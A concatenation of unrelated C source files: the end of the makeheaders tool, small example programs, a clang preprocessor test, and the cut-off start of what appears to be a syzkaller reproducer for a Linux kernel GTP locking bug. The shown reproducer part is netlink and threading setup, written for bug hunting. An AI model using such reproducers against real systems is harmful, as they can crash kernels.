** some text that needs to be within the context of "#if NEW" where
** NEW is zIf. Make an appropriate change to the context.
*/
static void ChangeIfContext(
const char *zIf, /* The desired #if context */
GenState *pState /* Current state of the code generator */
){
if( zIf==0 ){
if( pState->zIf==0 ) return;
StringAppend(pState->pStr,"#endif\n",0);
pState->zIf = 0;
}else{
if( pState->zIf ){
if( strcmp(zIf,pState->zIf)==0 ) return;
StringAppend(pState->pStr,"#endif\n",0);
pState->zIf = 0;
}
ScanText(zIf, pState);
if( pState->zIf!=0 ){
StringAppend(pState->pStr,"#endif\n",0);
}
StringAppend(pState->pStr,"#if ",0);
StringAppend(pState->pStr,zIf,0);
StringAppend(pState->pStr,"\n",0);
pState->zIf = zIf;
}
}
/*
** Add to the string pStr a #include of every file on the list of
** include files pInclude. The table pTable contains all files that
** have already been #included at least once. Don't add any
** duplicates. Update pTable with every new #include that is added.
*/
static void AddIncludes(
Include *pInclude, /* Write every #include on this list */
GenState *pState /* Current state of the code generator */
){
if( pInclude ){
if( pInclude->pNext ){
AddIncludes(pInclude->pNext,pState);
}
if( IdentTableInsert(pState->pTable,pInclude->zLabel,0) ){
ChangeIfContext(pInclude->zIf,pState);
StringAppend(pState->pStr,"#include ",0);
StringAppend(pState->pStr,pInclude->zFile,0);
StringAppend(pState->pStr,"\n",1);
}
}
}
/*
** Add to the string pStr a declaration for the object described
** in pDecl.
**
** If pDecl has already been declared in this file, detect that
** fact and abort early. Do not duplicate a declaration.
**
** If the needFullDecl flag is false and this object has a forward
** declaration, then supply the forward declaration only. A later
** call to CompleteForwardDeclarations() will finish the declaration
** for us. But if needFullDecl is true, we must supply the full
** declaration now. Some objects do not have a forward declaration.
** For those objects, we must print the full declaration now.
**
** Because it is illegal to duplicate a typedef in C, care is taken
** to insure that typedefs for the same identifier are only issued once.
*/
static void DeclareObject(
Decl *pDecl, /* The thing to be declared */
GenState *pState, /* Current state of the code generator */
int needFullDecl /* Must have the full declaration. A forward
* declaration isn't enough */
){
Decl *p; /* The object to be declared */
int flag;
int isCpp; /* True if generating C++ */
int doneTypedef = 0; /* True if a typedef has been done for this object */
/* printf("BEGIN %s of %s\n",needFullDecl?"FULL":"PROTOTYPE",pDecl->zName);*/
/*
** For any object that has a forward declaration, go ahead and do the
** forward declaration first.
*/
isCpp = (pState->flags & DP_Cplusplus) != 0;
for(p=pDecl; p; p=p->pSameName){
if( p->zFwd ){
if( !DeclHasProperty(p,DP_Forward) ){
DeclSetProperty(p,DP_Forward);
if( strncmp(p->zFwd,"typedef",7)==0 ){
if( doneTypedef ) continue;
doneTypedef = 1;
}
ChangeIfContext(p->zIf,pState);
StringAppend(pState->pStr,isCpp ? p->zFwdCpp : p->zFwd,0);
}
}
}
/*
** Early out if everything is already suitably declared.
**
** This is a very important step because it prevents us from
** executing the code the follows in a recursive call to this
** function with the same value for pDecl.
*/
flag = needFullDecl ? DP_Declared|DP_Forward : DP_Forward;
for(p=pDecl; p; p=p->pSameName){
if( !DeclHasProperty(p,flag) ) break;
}
if( p==0 ){
return;
}
/*
** Make sure we have all necessary #includes
*/
for(p=pDecl; p; p=p->pSameName){
AddIncludes(p->pInclude,pState);
}
/*
** Go ahead an mark everything as being declared, to prevent an
** infinite loop thru the ScanText() function. At the same time,
** we decide which objects need a full declaration and mark them
** with the DP_Flag bit. We are only able to use DP_Flag in this
** way because we know we'll never execute this far into this
** function on a recursive call with the same pDecl. Hence, recursive
** calls to this function (through ScanText()) can never change the
** value of DP_Flag out from under us.
*/
for(p=pDecl; p; p=p->pSameName){
if( !DeclHasProperty(p,DP_Declared)
&& (p->zFwd==0 || needFullDecl)
&& p->zDecl!=0
){
DeclSetProperty(p,DP_Forward|DP_Declared|DP_Flag);
}else{
DeclClearProperty(p,DP_Flag);
}
}
/*
** Call ScanText() recusively (this routine is called from ScanText())
** to include declarations required to come before these declarations.
*/
for(p=pDecl; p; p=p->pSameName){
if( DeclHasProperty(p,DP_Flag) ){
if( p->zDecl[0]=='#' ){
ScanText(&p->zDecl[1],pState);
}else{
InsertExtraDecl(p);
ScanText(p->zDecl,pState);
}
}
}
/*
** Output the declarations. Do this in two passes. First
** output everything that isn't a typedef. Then go back and
** get the typedefs by the same name.
*/
for(p=pDecl; p; p=p->pSameName){
if( DeclHasProperty(p,DP_Flag) && !DeclHasProperty(p,TY_Typedef) ){
if( DeclHasAnyProperty(p,TY_Enumeration) ){
if( doneTypedef ) continue;
doneTypedef = 1;
}
ChangeIfContext(p->zIf,pState);
if( !isCpp && DeclHasAnyProperty(p,DP_ExternReqd) ){
StringAppend(pState->pStr,"extern ",0);
}else if( isCpp && DeclHasProperty(p,DP_Cplusplus|DP_ExternReqd) ){
StringAppend(pState->pStr,"extern ",0);
}else if( isCpp && DeclHasAnyProperty(p,DP_ExternCReqd|DP_ExternReqd) ){
StringAppend(pState->pStr,"extern \"C\" ",0);
}
InsertExtraDecl(p);
StringAppend(pState->pStr,p->zDecl,0);
if( !isCpp && DeclHasProperty(p,DP_Cplusplus) ){
fprintf(stderr,
"%s: C code ought not reference the C++ object \"%s\"\n",
pState->zFilename, p->zName);
pState->nErr++;
}
DeclClearProperty(p,DP_Flag);
}
}
for(p=pDecl; p && !doneTypedef; p=p->pSameName){
if( DeclHasProperty(p,DP_Flag) ){
/* This has to be a typedef */
doneTypedef = 1;
ChangeIfContext(p->zIf,pState);
InsertExtraDecl(p);
StringAppend(pState->pStr,p->zDecl,0);
}
}
}
/*
** This routine scans the input text given, and appends to the
** string in pState->pStr the text of any declarations that must
** occur before the text in zText.
**
** If an identifier in zText is immediately followed by '*', then
** only forward declarations are needed for that identifier. If the
** identifier name is not followed immediately by '*', we must supply
** a full declaration.
*/
static void ScanText(
const char *zText, /* The input text to be scanned */
GenState *pState /* Current state of the code generator */
){
int nextValid = 0; /* True is sNext contains valid data */
InStream sIn; /* The input text */
Token sToken; /* The current token being examined */
Token sNext; /* The next non-space token */
/* printf("BEGIN SCAN TEXT on %s\n", zText); */
sIn.z = zText;
sIn.i = 0;
sIn.nLine = 1;
while( sIn.z[sIn.i]!=0 ){
if( nextValid ){
sToken = sNext;
nextValid = 0;
}else{
GetNonspaceToken(&sIn,&sToken);
}
if( sToken.eType==TT_Id ){
int needFullDecl; /* True if we need to provide the full declaration,
** not just the forward declaration */
Decl *pDecl; /* The declaration having the name in sToken */
/*
** See if there is a declaration in the database with the name given
** by sToken.
*/
pDecl = FindDecl(sToken.zText,sToken.nText);
if( pDecl==0 ) continue;
/*
** If we get this far, we've found an identifier that has a
** declaration in the database. Now see if we the full declaration
** or just a forward declaration.
*/
GetNonspaceToken(&sIn,&sNext);
if( sNext.zText[0]=='*' ){
needFullDecl = 0;
}else{
needFullDecl = 1;
nextValid = sNext.eType==TT_Id;
}
/*
** Generate the needed declaration.
*/
DeclareObject(pDecl,pState,needFullDecl);
}else if( sToken.eType==TT_Preprocessor ){
sIn.i -= sToken.nText - 1;
}
}
/* printf("END SCANTEXT\n"); */
}
/*
** Provide a full declaration to any object which so far has had only
** a foward declaration.
*/
static void CompleteForwardDeclarations(GenState *pState){
Decl *pDecl;
int progress;
do{
progress = 0;
for(pDecl=pDeclFirst; pDecl; pDecl=pDecl->pNext){
if( DeclHasProperty(pDecl,DP_Forward)
&& !DeclHasProperty(pDecl,DP_Declared)
){
DeclareObject(pDecl,pState,1);
progress = 1;
assert( DeclHasProperty(pDecl,DP_Declared) );
}
}
}while( progress );
}
/*
** Generate an include file for the given source file. Return the number
** of errors encountered.
**
** if nolocal_flag is true, then we do not generate declarations for
** objected marked DP_Local.
*/
static int MakeHeader(InFile *pFile, FILE *report, int nolocal_flag){
int nErr = 0;
GenState sState;
String outStr;
IdentTable includeTable;
Ident *pId;
char *zNewVersion;
char *zOldVersion;
if( pFile->zHdr==0 || *pFile->zHdr==0 ) return 0;
sState.pStr = &outStr;
StringInit(&outStr);
StringAppend(&outStr,zTopLine,nTopLine);
sState.pTable = &includeTable;
memset(&includeTable,0,sizeof(includeTable));
sState.zIf = 0;
sState.nErr = 0;
sState.zFilename = pFile->zSrc;
sState.flags = pFile->flags & DP_Cplusplus;
ResetDeclFlags(nolocal_flag ? "no" : pFile->zSrc);
for(pId = pFile->idTable.pList; pId; pId=pId->pNext){
Decl *pDecl = FindDecl(pId->zName,0);
if( pDecl ){
DeclareObject(pDecl,&sState,1);
}
}
CompleteForwardDeclarations(&sState);
ChangeIfContext(0,&sState);
nErr += sState.nErr;
zOldVersion = ReadFile(pFile->zHdr);
zNewVersion = StringGet(&outStr);
if( report ) fprintf(report,"%s: ",pFile->zHdr);
if( zOldVersion==0 ){
if( report ) fprintf(report,"updated\n");
if( WriteFile(pFile->zHdr,zNewVersion) ){
fprintf(stderr,"%s: Can't write to file\n",pFile->zHdr);
nErr++;
}
}else if( strncmp(zOldVersion,zTopLine,nTopLine)!=0 ){
if( report ) fprintf(report,"error!\n");
fprintf(stderr,
"%s: Can't overwrite this file because it wasn't previously\n"
"%*s generated by 'makeheaders'.\n",
pFile->zHdr, (int)strlen(pFile->zHdr), "");
nErr++;
}else if( strcmp(zOldVersion,zNewVersion)!=0 ){
if( report ) fprintf(report,"updated\n");
if( WriteFile(pFile->zHdr,zNewVersion) ){
fprintf(stderr,"%s: Can't write to file\n",pFile->zHdr);
nErr++;
}
}else if( report ){
fprintf(report,"unchanged\n");
}
SafeFree(zOldVersion);
IdentTableReset(&includeTable);
StringReset(&outStr);
return nErr;
}
/*
** Generate a global header file -- a header file that contains all
** declarations. If the forExport flag is true, then only those
** objects that are exported are included in the header file.
*/
static int MakeGlobalHeader(int forExport){
GenState sState;
String outStr;
IdentTable includeTable;
Decl *pDecl;
sState.pStr = &outStr;
StringInit(&outStr);
/* StringAppend(&outStr,zTopLine,nTopLine); */
sState.pTable = &includeTable;
memset(&includeTable,0,sizeof(includeTable));
sState.zIf = 0;
sState.nErr = 0;
sState.zFilename = "(all)";
sState.flags = 0;
ResetDeclFlags(0);
for(pDecl=pDeclFirst; pDecl; pDecl=pDecl->pNext){
if( forExport==0 || DeclHasProperty(pDecl,DP_Export) ){
DeclareObject(pDecl,&sState,1);
}
}
ChangeIfContext(0,&sState);
printf("%s",StringGet(&outStr));
IdentTableReset(&includeTable);
StringReset(&outStr);
return 0;
}
#ifdef DEBUG
/*
** Return the number of characters in the given string prior to the
** first newline.
*/
static int ClipTrailingNewline(char *z){
int n = strlen(z);
while( n>0 && (z[n-1]=='\n' || z[n-1]=='\r') ){ n--; }
return n;
}
/*
** Dump the entire declaration list for debugging purposes
*/
static void DumpDeclList(void){
Decl *pDecl;
for(pDecl = pDeclFirst; pDecl; pDecl=pDecl->pNext){
printf("**** %s from file %s ****\n",pDecl->zName,pDecl->zFile);
if( pDecl->zIf ){
printf("If: [%.*s]\n",ClipTrailingNewline(pDecl->zIf),pDecl->zIf);
}
if( pDecl->zFwd ){
printf("Decl: [%.*s]\n",ClipTrailingNewline(pDecl->zFwd),pDecl->zFwd);
}
if( pDecl->zDecl ){
InsertExtraDecl(pDecl);
printf("Def: [%.*s]\n",ClipTrailingNewline(pDecl->zDecl),pDecl->zDecl);
}
if( pDecl->flags ){
static struct {
int mask;
char *desc;
} flagSet[] = {
{ TY_Class, "class" },
{ TY_Enumeration, "enum" },
{ TY_Structure, "struct" },
{ TY_Union, "union" },
{ TY_Variable, "variable" },
{ TY_Subroutine, "function" },
{ TY_Typedef, "typedef" },
{ TY_Macro, "macro" },
{ DP_Export, "export" },
{ DP_Local, "local" },
{ DP_Cplusplus, "C++" },
};
int i;
printf("flags:");
for(i=0; i<sizeof(flagSet)/sizeof(flagSet[0]); i++){
if( flagSet[i].mask & pDecl->flags ){
printf(" %s", flagSet[i].desc);
}
}
printf("\n");
}
if( pDecl->pInclude ){
Include *p;
printf("includes:");
for(p=pDecl->pInclude; p; p=p->pNext){
printf(" %s",p->zFile);
}
printf("\n");
}
}
}
#endif
/*
** When the "-doc" command-line option is used, this routine is called
** to print all of the database information to standard output.
*/
static void DocumentationDump(void){
Decl *pDecl;
static struct {
int mask;
char flag;
} flagSet[] = {
{ TY_Class, 'c' },
{ TY_Enumeration, 'e' },
{ TY_Structure, 's' },
{ TY_Union, 'u' },
{ TY_Variable, 'v' },
{ TY_Subroutine, 'f' },
{ TY_Typedef, 't' },
{ TY_Macro, 'm' },
{ DP_Export, 'x' },
{ DP_Local, 'l' },
{ DP_Cplusplus, '+' },
};
for(pDecl = pDeclFirst; pDecl; pDecl=pDecl->pNext){
int i;
int nLabel = 0;
char *zDecl;
char zLabel[50];
for(i=0; i<sizeof(flagSet)/sizeof(flagSet[0]); i++){
if( DeclHasProperty(pDecl,flagSet[i].mask) ){
zLabel[nLabel++] = flagSet[i].flag;
}
}
if( nLabel==0 ) continue;
zLabel[nLabel] = 0;
InsertExtraDecl(pDecl);
zDecl = pDecl->zDecl;
if( zDecl==0 ) zDecl = pDecl->zFwd;
printf("%s %s %s %p %d %d %d %d %d\n",
pDecl->zName,
zLabel,
pDecl->zFile,
pDecl->pComment,
pDecl->pComment ? pDecl->pComment->nText+1 : 0,
pDecl->zIf ? (int)strlen(pDecl->zIf)+1 : 0,
zDecl ? (int)strlen(zDecl) : 0,
pDecl->pComment ? pDecl->pComment->nLine : 0,
pDecl->tokenCode.nText ? pDecl->tokenCode.nText+1 : 0
);
if( pDecl->pComment ){
printf("%.*s\n",pDecl->pComment->nText, pDecl->pComment->zText);
}
if( pDecl->zIf ){
printf("%s\n",pDecl->zIf);
}
if( zDecl ){
printf("%s",zDecl);
}
if( pDecl->tokenCode.nText ){
printf("%.*s\n",pDecl->tokenCode.nText, pDecl->tokenCode.zText);
}
}
}
/*
** Given the complete text of an input file, this routine prints a
** documentation record for the header comment at the beginning of the
** file (if the file has a header comment.)
*/
void PrintModuleRecord(const char *zFile, const char *zFilename){
int i;
static int addr = 5;
while( isspace(*zFile) ){ zFile++; }
if( *zFile!='/' || zFile[1]!='*' ) return;
for(i=2; zFile[i] && (zFile[i-1]!='/' || zFile[i-2]!='*'); i++){}
if( zFile[i]==0 ) return;
printf("%s M %s %d %d 0 0 0 0\n%.*s\n",
zFilename, zFilename, addr, i+1, i, zFile);
addr += 4;
}
/*
** Given an input argument to the program, construct a new InFile
** object.
*/
static InFile *CreateInFile(char *zArg, int *pnErr){
int nSrc;
char *zSrc;
InFile *pFile;
int i;
/*
** Get the name of the input file to be scanned. The input file is
** everything before the first ':' or the whole file if no ':' is seen.
**
** Except, on windows, ignore any ':' that occurs as the second character
** since it might be part of the drive specifier. So really, the ":' has
** to be the 3rd or later character in the name. This precludes 1-character
** file names, which really should not be a problem.
*/
zSrc = zArg;
for(nSrc=2; zSrc[nSrc] && zArg[nSrc]!=':'; nSrc++){}
pFile = SafeMalloc( sizeof(InFile) );
memset(pFile,0,sizeof(InFile));
pFile->zSrc = StrDup(zSrc,nSrc);
/* Figure out if we are dealing with C or C++ code. Assume any
** file with ".c" or ".h" is C code and all else is C++.
*/
if( nSrc>2 && zSrc[nSrc-2]=='.' && (zSrc[nSrc-1]=='c' || zSrc[nSrc-1]=='h')){
pFile->flags &= ~DP_Cplusplus;
}else{
pFile->flags |= DP_Cplusplus;
}
/*
** If a separate header file is specified, use it
*/
if( zSrc[nSrc]==':' ){
int nHdr;
char *zHdr;
zHdr = &zSrc[nSrc+1];
for(nHdr=0; zHdr[nHdr] && zHdr[nHdr]!=':'; nHdr++){}
pFile->zHdr = StrDup(zHdr,nHdr);
}
/* Look for any 'c' or 'C' in the suffix of the file name and change
** that character to 'h' or 'H' respectively. If no 'c' or 'C' is found,
** then assume we are dealing with a header.
*/
else{
int foundC = 0;
pFile->zHdr = StrDup(zSrc,nSrc);
for(i = nSrc-1; i>0 && pFile->zHdr[i]!='.'; i--){
if( pFile->zHdr[i]=='c' ){
foundC = 1;
pFile->zHdr[i] = 'h';
}else if( pFile->zHdr[i]=='C' ){
foundC = 1;
pFile->zHdr[i] = 'H';
}
}
if( !foundC ){
SafeFree(pFile->zHdr);
pFile->zHdr = 0;
}
}
/*
** If pFile->zSrc contains no 'c' or 'C' in its extension, it
** must be a header file. In that case, we need to set the
** PS_Interface flag.
*/
pFile->flags |= PS_Interface;
for(i=nSrc-1; i>0 && zSrc[i]!='.'; i--){
if( zSrc[i]=='c' || zSrc[i]=='C' ){
pFile->flags &= ~PS_Interface;
break;
}
}
/* Done!
*/
return pFile;
}
/* MS-Windows and MS-DOS both have the following serious OS bug: the
** length of a command line is severely restricted. But this program
** occasionally requires long command lines. Hence the following
** work around.
**
** If the parameters "-f FILENAME" appear anywhere on the command line,
** then the named file is scanned for additional command line arguments.
** These arguments are substituted in place of the "FILENAME" argument
** in the original argument list.
**
** This first parameter to this routine is the index of the "-f"
** parameter in the argv[] array. The argc and argv are passed by
** pointer so that they can be changed.
**
** Parsing of the parameters in the file is very simple. Parameters
** can be separated by any amount of white-space (including newlines
** and carriage returns.) There are now quoting characters of any
** kind. The length of a token is limited to about 1000 characters.
*/
static void AddParameters(int index, int *pArgc, char ***pArgv){
int argc = *pArgc; /* The original argc value */
char **argv = *pArgv; /* The original argv value */
int newArgc; /* Value for argc after inserting new arguments */
char **zNew = 0; /* The new argv after this routine is done */
char *zFile; /* Name of the input file */
int nNew = 0; /* Number of new entries in the argv[] file */
int nAlloc = 0; /* Space allocated for zNew[] */
int i; /* Loop counter */
int n; /* Number of characters in a new argument */
int c; /* Next character of input */
int startOfLine = 1; /* True if we are where '#' can start a comment */
FILE *in; /* The input file */
char zBuf[1000]; /* A single argument is accumulated here */
if( index+1==argc ) return;
zFile = argv[index+1];
in = fopen(zFile,"r");
if( in==0 ){
fprintf(stderr,"Can't open input file \"%s\"\n",zFile);
exit(1);
}
c = ' ';
while( c!=EOF ){
while( c!=EOF && isspace(c) ){
if( c=='\n' ){
startOfLine = 1;
}
c = getc(in);
if( startOfLine && c=='#' ){
while( c!=EOF && c!='\n' ){
c = getc(in);
}
}
}
n = 0;
while( c!=EOF && !isspace(c) ){
if( n<sizeof(zBuf)-1 ){ zBuf[n++] = c; }
startOfLine = 0;
c = getc(in);
}
zBuf[n] = 0;
if( n>0 ){
nNew++;
if( nNew + argc > nAlloc ){
if( nAlloc==0 ){
nAlloc = 100 + argc;
zNew = malloc( sizeof(char*) * nAlloc );
}else{
nAlloc *= 2;
zNew = realloc( zNew, sizeof(char*) * nAlloc );
}
}
if( zNew ){
int j = nNew + index;
zNew[j] = malloc( n + 1 );
if( zNew[j] ){
strcpy( zNew[j], zBuf );
}
}
}
}
newArgc = argc + nNew - 1;
for(i=0; i<=index; i++){
zNew[i] = argv[i];
}
for(i=nNew + index + 1; i<newArgc; i++){
zNew[i] = argv[i + 1 - nNew];
}
zNew[newArgc] = 0;
*pArgc = newArgc;
*pArgv = zNew;
}
#ifdef NOT_USED
/*
** Return the time that the given file was last modified. If we can't
** locate the file (because, for example, it doesn't exist), then
** return 0.
*/
static unsigned int ModTime(const char *zFilename){
unsigned int mTime = 0;
struct stat sStat;
if( stat(zFilename,&sStat)==0 ){
mTime = sStat.st_mtime;
}
return mTime;
}
#endif
/*
** Print a usage comment for this program.
*/
static void Usage(const char *argv0, const char *argvN){
fprintf(stderr,"%s: Illegal argument \"%s\"\n",argv0,argvN);
fprintf(stderr,"Usage: %s [options] filename...\n"
"Options:\n"
" -h Generate a single .h to standard output.\n"
" -H Like -h, but only output EXPORT declarations.\n"
" -v (verbose) Write status information to the screen.\n"
" -doc Generate no header files. Instead, output information\n"
" that can be used by an automatic program documentation\n"
" and cross-reference generator.\n"
" -local Generate prototypes for \"static\" functions and\n"
" procedures.\n"
" -f FILE Read additional command-line arguments from the file named\n"
" \"FILE\".\n"
#ifdef DEBUG
" -! MASK Set the debugging mask to the number \"MASK\".\n"
#endif
" -- Treat all subsequent comment-line parameters as filenames,\n"
" even if they begin with \"-\".\n",
argv0
);
}
/*
** The following text contains a few simple #defines that we want
** to be available to every file.
*/
static char zInit[] =
"#define INTERFACE 0\n"
"#define EXPORT_INTERFACE 0\n"
"#define LOCAL_INTERFACE 0\n"
"#define EXPORT\n"
"#define LOCAL static\n"
"#define PUBLIC\n"
"#define PRIVATE\n"
"#define PROTECTED\n"
;
#if TEST==0
int main(int argc, char **argv){
int i; /* Loop counter */
int nErr = 0; /* Number of errors encountered */
Token *pList; /* List of input tokens for one file */
InFile *pFileList = 0;/* List of all input files */
InFile *pTail = 0; /* Last file on the list */
InFile *pFile; /* for looping over the file list */
int h_flag = 0; /* True if -h is present. Output unified header */
int H_flag = 0; /* True if -H is present. Output EXPORT header */
int v_flag = 0; /* Verbose */
int noMoreFlags; /* True if -- has been seen. */
FILE *report; /* Send progress reports to this, if not NULL */
noMoreFlags = 0;
for(i=1; i<argc; i++){
if( argv[i][0]=='-' && !noMoreFlags ){
switch( argv[i][1] ){
case 'h': h_flag = 1; break;
case 'H': H_flag = 1; break;
case 'v': v_flag = 1; break;
case 'd': doc_flag = 1; proto_static = 1; break;
case 'l': proto_static = 1; break;
case 'f': AddParameters(i, &argc, &argv); break;
case '-': noMoreFlags = 1; break;
#ifdef DEBUG
case '!': i++; debugMask = strtol(argv[i],0,0); break;
#endif
default: Usage(argv[0],argv[i]); return 1;
}
}else{
pFile = CreateInFile(argv[i],&nErr);
if( pFile ){
if( pFileList ){
pTail->pNext = pFile;
pTail = pFile;
}else{
pFileList = pTail = pFile;
}
}
}
}
if( h_flag && H_flag ){
h_flag = 0;
}
if( v_flag ){
report = (h_flag || H_flag) ? stderr : stdout;
}else{
report = 0;
}
if( nErr>0 ){
return nErr;
}
for(pFile=pFileList; pFile; pFile=pFile->pNext){
char *zFile;
zFilename = pFile->zSrc;
if( zFilename==0 ) continue;
zFile = ReadFile(zFilename);
if( zFile==0 ){
fprintf(stderr,"Can't read input file \"%s\"\n",zFilename);
nErr++;
continue;
}
if( strncmp(zFile,zTopLine,nTopLine)==0 ){
pFile->zSrc = 0;
}else{
if( report ) fprintf(report,"Reading %s...\n",zFilename);
pList = TokenizeFile(zFile,&pFile->idTable);
if( pList ){
nErr += ParseFile(pList,pFile->flags);
FreeTokenList(pList);
}else if( zFile[0]==0 ){
fprintf(stderr,"Input file \"%s\" is empty.\n", zFilename);
nErr++;
}else{
fprintf(stderr,"Errors while processing \"%s\"\n", zFilename);
nErr++;
}
}
if( !doc_flag ) SafeFree(zFile);
if( doc_flag ) PrintModuleRecord(zFile,zFilename);
}
if( nErr>0 ){
return nErr;
}
#ifdef DEBUG
if( debugMask & DECL_DUMP ){
DumpDeclList();
return nErr;
}
#endif
if( doc_flag ){
DocumentationDump();
return nErr;
}
zFilename = "--internal--";
pList = TokenizeFile(zInit,0);
if( pList==0 ){
return nErr+1;
}
ParseFile(pList,PS_Interface);
FreeTokenList(pList);
if( h_flag || H_flag ){
nErr += MakeGlobalHeader(H_flag);
}else{
for(pFile=pFileList; pFile; pFile=pFile->pNext){
if( pFile->zSrc==0 ) continue;
nErr += MakeHeader(pFile,report,0);
}
}
return nErr;
}
#endif
|
the_stack_data/1120728.c
|
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
void *f1(void *p) {
printf("hello\n");
return NULL;
}
int main (int argc, char const *argv[])
{
pthread_t t1;
pthread_create(&t1, NULL, f1, NULL);
return 0;
}
|
the_stack_data/11076209.c
|
/*
*
* @author : Anmol Agrawal
*
*/
#include <stdio.h>
#include <stdlib.h>
int main()
{
int pos=0,n,*arr,count=0,i;
scanf("%d",&n);
arr=(int *)malloc((n+1)*sizeof(int));
for(i=0;i<n;i++)
{
scanf("%d",arr+i);
}
*(arr+n)=1;
while(pos<n-1)
{
if(*(arr+pos+2)==0)
{
pos+=2;
}
else
{
pos+=1;
}
count++;
}
printf("%d",count);
return 0;
}
|
the_stack_data/49004.c
|
// RUN: %clang_cc1 -E -C %s | FileCheck -strict-whitespace %s
// RUN: %clang_cc1 -E -C -fminimize-whitespace %s | FileCheck -strict-whitespace %s
// foo
// CHECK: // foo
/* bar */
// CHECK: /* bar */
#if FOO
#endif
/* baz */
// CHECK: /* baz */
_Pragma("unknown") // after unknown pragma
// CHECK: #pragma unknown
// CHECK-NEXT: #
// CHECK-NEXT: // after unknown pragma
_Pragma("comment(\"abc\")") // after known pragma
// CHECK: #pragma comment("abc")
// CHECK-NEXT: #
// CHECK-NEXT: // after known pragma
|
the_stack_data/15761766.c
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_power_positif.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: abenaiss <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2018/10/16 22:39:19 by abenaiss #+# #+# */
/* Updated: 2018/10/16 22:39:21 by abenaiss ### ########.fr */
/* */
/* ************************************************************************** */
int ft_power_positif(int nb, int power)
{
if (nb >= 0 && power >= 0)
{
if (power == 0)
return (1);
return (nb * ft_power_positif(nb, (power - 1)));
}
return (0);
}
|
the_stack_data/22012344.c
|
// WARNING: bad unlock balance in gtp_encap_enable_socket
// https://syzkaller.appspot.com/bug?id=eabf4435b7b2616f4e83859a86a36979d1d6b008
// status:open
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/futex.h>
#include <linux/genetlink.h>
#include <linux/if_addr.h>
#include <linux/if_link.h>
#include <linux/in6.h>
#include <linux/neighbour.h>
#include <linux/net.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/veth.h>
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void thread_start(void* (*fn)(void*), void* arg)
{
pthread_t th;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 128 << 10);
int i;
for (i = 0; i < 100; i++) {
if (pthread_create(&th, &attr, fn, arg) == 0) {
pthread_attr_destroy(&attr);
return;
}
if (errno == EAGAIN) {
usleep(50);
continue;
}
break;
}
exit(1);
}
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (ev->state)
exit(1);
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
static int event_isset(event_t* ev)
{
return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}
static int event_timedwait(event_t* ev, uint64_t timeout)
{
uint64_t start = current_time_ms();
uint64_t now = start;
for (;;) {
uint64_t remain = timeout - (now - start);
struct timespec ts;
ts.tv_sec = remain / 1000;
ts.tv_nsec = (remain % 1000) * 1000 * 1000;
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
if (__atomic_load_n(&ev->state, __ATOMIC_RELAXED))
return 1;
now = current_time_ms();
if (now - start > timeout)
return 0;
}
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
struct nlmsg {
char* pos;
int nesting;
struct nlattr* nested[8];
char buf[1024];
};
static struct nlmsg nlmsg;
static void netlink_init(struct nlmsg* nlmsg, int typ, int flags,
const void* data, int size)
{
memset(nlmsg, 0, sizeof(*nlmsg));
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
hdr->nlmsg_type = typ;
hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
memcpy(hdr + 1, data, size);
nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size);
}
static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data,
int size)
{
struct nlattr* attr = (struct nlattr*)nlmsg->pos;
attr->nla_len = sizeof(*attr) + size;
attr->nla_type = typ;
memcpy(attr + 1, data, size);
nlmsg->pos += NLMSG_ALIGN(attr->nla_len);
}
static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type,
int* reply_len)
{
if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting)
exit(1);
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
hdr->nlmsg_len = nlmsg->pos - nlmsg->buf;
struct sockaddr_nl addr;
memset(&addr, 0, sizeof(addr));
addr.nl_family = AF_NETLINK;
unsigned n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0,
(struct sockaddr*)&addr, sizeof(addr));
if (n != hdr->nlmsg_len)
exit(1);
n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0);
if (hdr->nlmsg_type == NLMSG_DONE) {
*reply_len = 0;
